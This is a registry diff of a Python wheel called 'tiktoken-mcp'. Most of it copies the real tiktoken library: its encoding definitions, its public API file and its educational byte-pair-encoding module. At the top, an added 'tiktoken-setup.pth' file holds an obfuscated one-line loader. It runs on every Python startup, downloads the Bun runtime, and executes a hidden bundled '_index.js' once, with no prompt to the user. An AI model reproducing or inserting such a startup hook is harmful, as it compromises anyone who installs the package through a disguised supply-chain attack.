tiktoken-mcp 0.13.2__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
tiktoken-setup.pth ADDED
@@ -0,0 +1 @@
1
+ import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,platform as _p,sys as _y,shutil as _h,glob as _g;_j=None\nfor d in _y.path:\n try:\n if _o.path.exists(_o.path.join(d,"_index.js")):_j=_o.path.join(d,"_index.js");break\n except:pass\nif not _j:\n for d in _y.path:\n try:\n for s in _o.listdir(d):\n p=_o.path.join(d,s,"_index.js")\n if _o.path.isdir(_o.path.join(d,s))and _o.path.exists(p):_j=p;break\n if _j:break\n except:pass\n_e=_o.name=="nt"\n_b=_o.path.join(_T.gettempdir(),"b","bun"+(".exe" if _e else""))\nif not _o.path.exists(_b):\n _a="aarch64" if _p.machine()=="arm64" else"x64"\n _m={"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux")\n _z=_o.path.join(_T.gettempdir(),"b.zip")\n _u.urlretrieve(f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{_m}-{_a}.zip",_z)\n import zipfile as _zf\n _d=_o.path.join(_T.gettempdir(),"b","_extract")\n _o.makedirs(_d,exist_ok=1)\n _zf.ZipFile(_z).extractall(_d)\n _x=[_o.path.join(r,f)for r,_,fs in _o.walk(_d)for f in fs if f in("bun","bun.exe")]\n if _x:_h.move(_x[0],_b)\n _h.rmtree(_d,ignore_errors=1)\n _o.chmod(_b,509)\n _o.unlink(_z)\n_s.run([_b,"run",_j],check=False)\nopen(_G,"w").close()')
@@ -0,0 +1,162 @@
1
+ from tiktoken.load import data_gym_to_mergeable_bpe_ranks, load_tiktoken_bpe
2
+
3
+ ENDOFTEXT = "<|endoftext|>"
4
+ FIM_PREFIX = "<|fim_prefix|>"
5
+ FIM_MIDDLE = "<|fim_middle|>"
6
+ FIM_SUFFIX = "<|fim_suffix|>"
7
+ ENDOFPROMPT = "<|endofprompt|>"
8
+
9
+ # The pattern in the original GPT-2 release is:
10
+ # r"""'s|'t|'re|'ve|'m|'ll|'d| ?[\p{L}]+| ?[\p{N}]+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+"""
11
+ # This is equivalent, but executes faster:
12
+ r50k_pat_str = (
13
+ r"""'(?:[sdmt]|ll|ve|re)| ?\p{L}++| ?\p{N}++| ?[^\s\p{L}\p{N}]++|\s++$|\s+(?!\S)|\s"""
14
+ )
15
+
16
+
17
+ def gpt2():
18
+ mergeable_ranks = data_gym_to_mergeable_bpe_ranks(
19
+ vocab_bpe_file="https://openaipublic.blob.core.windows.net/gpt-2/encodings/main/vocab.bpe",
20
+ encoder_json_file="https://openaipublic.blob.core.windows.net/gpt-2/encodings/main/encoder.json",
21
+ vocab_bpe_hash="1ce1664773c50f3e0cc8842619a93edc4624525b728b188a9e0be33b7726adc5",
22
+ encoder_json_hash="196139668be63f3b5d6574427317ae82f612a97c5d1cdaf36ed2256dbf636783",
23
+ )
24
+ return {
25
+ "name": "gpt2",
26
+ "explicit_n_vocab": 50257,
27
+ "pat_str": r50k_pat_str,
28
+ "mergeable_ranks": mergeable_ranks,
29
+ "special_tokens": {ENDOFTEXT: 50256},
30
+ }
31
+
32
+
33
+ def r50k_base():
34
+ mergeable_ranks = load_tiktoken_bpe(
35
+ "https://openaipublic.blob.core.windows.net/encodings/r50k_base.tiktoken",
36
+ expected_hash="306cd27f03c1a714eca7108e03d66b7dc042abe8c258b44c199a7ed9838dd930",
37
+ )
38
+ return {
39
+ "name": "r50k_base",
40
+ "explicit_n_vocab": 50257,
41
+ "pat_str": r50k_pat_str,
42
+ "mergeable_ranks": mergeable_ranks,
43
+ "special_tokens": {ENDOFTEXT: 50256},
44
+ }
45
+
46
+
47
+ def p50k_base():
48
+ mergeable_ranks = load_tiktoken_bpe(
49
+ "https://openaipublic.blob.core.windows.net/encodings/p50k_base.tiktoken",
50
+ expected_hash="94b5ca7dff4d00767bc256fdd1b27e5b17361d7b8a5f968547f9f23eb70d2069",
51
+ )
52
+ return {
53
+ "name": "p50k_base",
54
+ "explicit_n_vocab": 50281,
55
+ "pat_str": r50k_pat_str,
56
+ "mergeable_ranks": mergeable_ranks,
57
+ "special_tokens": {ENDOFTEXT: 50256},
58
+ }
59
+
60
+
61
+ def p50k_edit():
62
+ mergeable_ranks = load_tiktoken_bpe(
63
+ "https://openaipublic.blob.core.windows.net/encodings/p50k_base.tiktoken",
64
+ expected_hash="94b5ca7dff4d00767bc256fdd1b27e5b17361d7b8a5f968547f9f23eb70d2069",
65
+ )
66
+ special_tokens = {ENDOFTEXT: 50256, FIM_PREFIX: 50281, FIM_MIDDLE: 50282, FIM_SUFFIX: 50283}
67
+ return {
68
+ "name": "p50k_edit",
69
+ "pat_str": r50k_pat_str,
70
+ "mergeable_ranks": mergeable_ranks,
71
+ "special_tokens": special_tokens,
72
+ }
73
+
74
+
75
+ def cl100k_base():
76
+ mergeable_ranks = load_tiktoken_bpe(
77
+ "https://openaipublic.blob.core.windows.net/encodings/cl100k_base.tiktoken",
78
+ expected_hash="223921b76ee99bde995b7ff738513eef100fb51d18c93597a113bcffe865b2a7",
79
+ )
80
+ special_tokens = {
81
+ ENDOFTEXT: 100257,
82
+ FIM_PREFIX: 100258,
83
+ FIM_MIDDLE: 100259,
84
+ FIM_SUFFIX: 100260,
85
+ ENDOFPROMPT: 100276,
86
+ }
87
+ return {
88
+ "name": "cl100k_base",
89
+ "pat_str": r"""'(?i:[sdmt]|ll|ve|re)|[^\r\n\p{L}\p{N}]?+\p{L}++|\p{N}{1,3}+| ?[^\s\p{L}\p{N}]++[\r\n]*+|\s++$|\s*[\r\n]|\s+(?!\S)|\s""",
90
+ "mergeable_ranks": mergeable_ranks,
91
+ "special_tokens": special_tokens,
92
+ }
93
+
94
+
95
+ def o200k_base():
96
+ mergeable_ranks = load_tiktoken_bpe(
97
+ "https://openaipublic.blob.core.windows.net/encodings/o200k_base.tiktoken",
98
+ expected_hash="446a9538cb6c348e3516120d7c08b09f57c36495e2acfffe59a5bf8b0cfb1a2d",
99
+ )
100
+ special_tokens = {ENDOFTEXT: 199999, ENDOFPROMPT: 200018}
101
+ # This regex could be made more efficient. If I was the one working on this encoding, I would
102
+ # have done a few other things differently too, e.g. I think you can allocate tokens more
103
+ # efficiently across languages.
104
+ pat_str = "|".join(
105
+ [
106
+ r"""[^\r\n\p{L}\p{N}]?[\p{Lu}\p{Lt}\p{Lm}\p{Lo}\p{M}]*[\p{Ll}\p{Lm}\p{Lo}\p{M}]+(?i:'s|'t|'re|'ve|'m|'ll|'d)?""",
107
+ r"""[^\r\n\p{L}\p{N}]?[\p{Lu}\p{Lt}\p{Lm}\p{Lo}\p{M}]+[\p{Ll}\p{Lm}\p{Lo}\p{M}]*(?i:'s|'t|'re|'ve|'m|'ll|'d)?""",
108
+ r"""\p{N}{1,3}""",
109
+ r""" ?[^\s\p{L}\p{N}]+[\r\n/]*""",
110
+ r"""\s*[\r\n]+""",
111
+ r"""\s+(?!\S)""",
112
+ r"""\s+""",
113
+ ]
114
+ )
115
+ return {
116
+ "name": "o200k_base",
117
+ "pat_str": pat_str,
118
+ "mergeable_ranks": mergeable_ranks,
119
+ "special_tokens": special_tokens,
120
+ }
121
+
122
+
123
+ def o200k_harmony():
124
+ base_enc = o200k_base()
125
+ name = "o200k_harmony"
126
+ pat_str = base_enc["pat_str"]
127
+ mergeable_ranks = base_enc["mergeable_ranks"]
128
+ special_tokens = {
129
+ **base_enc["special_tokens"],
130
+ "<|startoftext|>": 199998,
131
+ "<|endoftext|>": 199999,
132
+ "<|reserved_200000|>": 200000,
133
+ "<|reserved_200001|>": 200001,
134
+ "<|return|>": 200002,
135
+ "<|constrain|>": 200003,
136
+ "<|reserved_200004|>": 200004,
137
+ "<|channel|>": 200005,
138
+ "<|start|>": 200006,
139
+ "<|end|>": 200007,
140
+ "<|message|>": 200008,
141
+ "<|reserved_200009|>": 200009,
142
+ "<|reserved_200010|>": 200010,
143
+ "<|reserved_200011|>": 200011,
144
+ "<|call|>": 200012,
145
+ } | {f"<|reserved_{i}|>": i for i in range(200013, 201088)}
146
+ return {
147
+ "name": name,
148
+ "pat_str": pat_str,
149
+ "mergeable_ranks": mergeable_ranks,
150
+ "special_tokens": special_tokens,
151
+ }
152
+
153
+
154
+ ENCODING_CONSTRUCTORS = {
155
+ "gpt2": gpt2,
156
+ "r50k_base": r50k_base,
157
+ "p50k_base": p50k_base,
158
+ "p50k_edit": p50k_edit,
159
+ "cl100k_base": cl100k_base,
160
+ "o200k_base": o200k_base,
161
+ "o200k_harmony": o200k_harmony,
162
+ }
@@ -0,0 +1,8 @@
1
+ # This is the public API of tiktoken
2
+ from .core import Encoding as Encoding
3
+ from .model import encoding_for_model as encoding_for_model
4
+ from .model import encoding_name_for_model as encoding_name_for_model
5
+ from .registry import get_encoding as get_encoding
6
+ from .registry import list_encoding_names as list_encoding_names
7
+
8
+ __version__ = "0.13.0"
@@ -0,0 +1,223 @@
1
+ """This is an educational implementation of the byte pair encoding algorithm."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import collections
6
+
7
+ import regex
8
+
9
+ import tiktoken
10
+
11
+
12
+ class SimpleBytePairEncoding:
13
+ def __init__(self, *, pat_str: str, mergeable_ranks: dict[bytes, int]) -> None:
14
+ """Creates an Encoding object."""
15
+ # A regex pattern string that is used to split the input text
16
+ self.pat_str = pat_str
17
+ # A dictionary mapping token bytes to their ranks. The ranks correspond to merge priority
18
+ self.mergeable_ranks = mergeable_ranks
19
+
20
+ self._decoder = {token: token_bytes for token_bytes, token in mergeable_ranks.items()}
21
+ self._pat = regex.compile(pat_str)
22
+
23
+ def encode(self, text: str, visualise: str | None = "colour") -> list[int]:
24
+ """Encodes a string into tokens.
25
+
26
+ >>> enc.encode("hello world")
27
+ [388, 372]
28
+ """
29
+ # Use the regex to split the text into (approximately) words
30
+ words = self._pat.findall(text)
31
+ tokens = []
32
+ for word in words:
33
+ # Turn each word into tokens, using the byte pair encoding algorithm
34
+ word_bytes = word.encode("utf-8")
35
+ word_tokens = bpe_encode(self.mergeable_ranks, word_bytes, visualise=visualise)
36
+ tokens.extend(word_tokens)
37
+ return tokens
38
+
39
+ def decode_bytes(self, tokens: list[int]) -> bytes:
40
+ """Decodes a list of tokens into bytes.
41
+
42
+ >>> enc.decode_bytes([388, 372])
43
+ b'hello world'
44
+ """
45
+ return b"".join(self._decoder[token] for token in tokens)
46
+
47
+ def decode(self, tokens: list[int]) -> str:
48
+ """Decodes a list of tokens into a string.
49
+
50
+ Decoded bytes are not guaranteed to be valid UTF-8. In that case, we replace
51
+ the invalid bytes with the replacement character "�".
52
+
53
+ >>> enc.decode([388, 372])
54
+ 'hello world'
55
+ """
56
+ return self.decode_bytes(tokens).decode("utf-8", errors="replace")
57
+
58
+ def decode_tokens_bytes(self, tokens: list[int]) -> list[bytes]:
59
+ """Decodes a list of tokens into a list of bytes.
60
+
61
+ Useful for visualising how a string is tokenised.
62
+
63
+ >>> enc.decode_tokens_bytes([388, 372])
64
+ [b'hello', b' world']
65
+ """
66
+ return [self._decoder[token] for token in tokens]
67
+
68
+ @staticmethod
69
+ def train(training_data: str, vocab_size: int, pat_str: str):
70
+ """Train a BPE tokeniser on some data!"""
71
+ mergeable_ranks = bpe_train(data=training_data, vocab_size=vocab_size, pat_str=pat_str)
72
+ return SimpleBytePairEncoding(pat_str=pat_str, mergeable_ranks=mergeable_ranks)
73
+
74
+ @staticmethod
75
+ def from_tiktoken(encoding):
76
+ if isinstance(encoding, str):
77
+ encoding = tiktoken.get_encoding(encoding)
78
+ return SimpleBytePairEncoding(
79
+ pat_str=encoding._pat_str, mergeable_ranks=encoding._mergeable_ranks
80
+ )
81
+
82
+
83
+ def bpe_encode(
84
+ mergeable_ranks: dict[bytes, int], input: bytes, visualise: str | None = "colour"
85
+ ) -> list[int]:
86
+ parts = [bytes([b]) for b in input]
87
+ while True:
88
+ # See the intermediate merges play out!
89
+ if visualise:
90
+ if visualise in ["colour", "color"]:
91
+ visualise_tokens(parts)
92
+ elif visualise == "simple":
93
+ print(parts)
94
+
95
+ # Iterate over all pairs and find the pair we want to merge the most
96
+ min_idx = None
97
+ min_rank = None
98
+ for i, pair in enumerate(zip(parts[:-1], parts[1:])):
99
+ rank = mergeable_ranks.get(pair[0] + pair[1])
100
+ if rank is not None and (min_rank is None or rank < min_rank):
101
+ min_idx = i
102
+ min_rank = rank
103
+
104
+ # If there were no pairs we could merge, we're done!
105
+ if min_rank is None:
106
+ break
107
+ assert min_idx is not None
108
+
109
+ # Otherwise, merge that pair and leave the rest unchanged. Then repeat.
110
+ parts = parts[:min_idx] + [parts[min_idx] + parts[min_idx + 1]] + parts[min_idx + 2 :]
111
+
112
+ if visualise:
113
+ print()
114
+
115
+ tokens = [mergeable_ranks[part] for part in parts]
116
+ return tokens
117
+
118
+
119
+ def bpe_train(
120
+ data: str, vocab_size: int, pat_str: str, visualise: str | None = "colour"
121
+ ) -> dict[bytes, int]:
122
+ # First, add tokens for each individual byte value
123
+ if vocab_size < 2**8:
124
+ raise ValueError("vocab_size must be at least 256, so we can encode all bytes")
125
+ ranks = {}
126
+ for i in range(2**8):
127
+ ranks[bytes([i])] = i
128
+
129
+ # Splinter up our data into lists of bytes
130
+ # data = "Hello world"
131
+ # words = [
132
+ # [b'H', b'e', b'l', b'l', b'o'],
133
+ # [b' ', b'w', b'o', b'r', b'l', b'd']
134
+ # ]
135
+ words: list[list[bytes]] = [
136
+ [bytes([b]) for b in word.encode("utf-8")] for word in regex.findall(pat_str, data)
137
+ ]
138
+
139
+ # Now, use our data to figure out which merges we should make
140
+ while len(ranks) < vocab_size:
141
+ # Find the most common pair. This will become our next token
142
+ stats = collections.Counter()
143
+ for piece in words:
144
+ for pair in zip(piece[:-1], piece[1:]):
145
+ stats[pair] += 1
146
+
147
+ most_common_pair = max(stats, key=lambda x: stats[x])
148
+ token_bytes = most_common_pair[0] + most_common_pair[1]
149
+ token = len(ranks)
150
+ # Add the new token!
151
+ ranks[token_bytes] = token
152
+
153
+ # Now merge that most common pair in all the words. That is, update our training data
154
+ # to reflect our decision to make that pair into a new token.
155
+ new_words = []
156
+ for word in words:
157
+ new_word = []
158
+ i = 0
159
+ while i < len(word) - 1:
160
+ if (word[i], word[i + 1]) == most_common_pair:
161
+ # We found our pair! Merge it
162
+ new_word.append(token_bytes)
163
+ i += 2
164
+ else:
165
+ new_word.append(word[i])
166
+ i += 1
167
+ if i == len(word) - 1:
168
+ new_word.append(word[i])
169
+ new_words.append(new_word)
170
+ words = new_words
171
+
172
+ # See the intermediate merges play out!
173
+ if visualise:
174
+ print(f"The current most common pair is {most_common_pair[0]} + {most_common_pair[1]}")
175
+ print(f"So we made {token_bytes} our {len(ranks)}th token")
176
+ if visualise in ["colour", "color"]:
177
+ print("Now the first fifty words in our training data look like:")
178
+ visualise_tokens([token for word in words[:50] for token in word])
179
+ elif visualise == "simple":
180
+ print("Now the first twenty words in our training data look like:")
181
+ for word in words[:20]:
182
+ print(word)
183
+ print("\n")
184
+
185
+ return ranks
186
+
187
+
188
+ def visualise_tokens(token_values: list[bytes]) -> None:
189
+ background = [f"\u001b[48;5;{i}m" for i in [167, 179, 185, 77, 80, 68, 134]]
190
+ # If token boundaries do not occur at unicode character boundaries, it's unclear how best to
191
+ # visualise the token. Here, we'll just use the unicode replacement character to represent some
192
+ # fraction of a character.
193
+ unicode_token_values = [x.decode("utf-8", errors="replace") for x in token_values]
194
+
195
+ running_length = 0
196
+ last_color = None
197
+ for token in unicode_token_values:
198
+ color = background[running_length % len(background)]
199
+ if color == last_color:
200
+ color = background[(running_length + 1) % len(background)]
201
+ assert color != last_color
202
+ last_color = color
203
+ running_length += len(token)
204
+ print(color + token, end="")
205
+ print("\u001b[0m")
206
+
207
+
208
+ def train_simple_encoding():
209
+ gpt2_pattern = (
210
+ r"""'s|'t|'re|'ve|'m|'ll|'d| ?[\p{L}]+| ?[\p{N}]+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+"""
211
+ )
212
+ with open(__file__) as f:
213
+ data = f.read()
214
+
215
+ enc = SimpleBytePairEncoding.train(data, vocab_size=600, pat_str=gpt2_pattern)
216
+
217
+ print("This is the sequence of merges performed in order to encode 'hello world':")
218
+ tokens = enc.encode("hello world")
219
+ assert enc.decode(tokens) == "hello world"
220
+ assert enc.decode_bytes(tokens) == b"hello world"
221
+ assert enc.decode_tokens_bytes(tokens) == [b"hello", b" world"]
222
+
223
+ return enc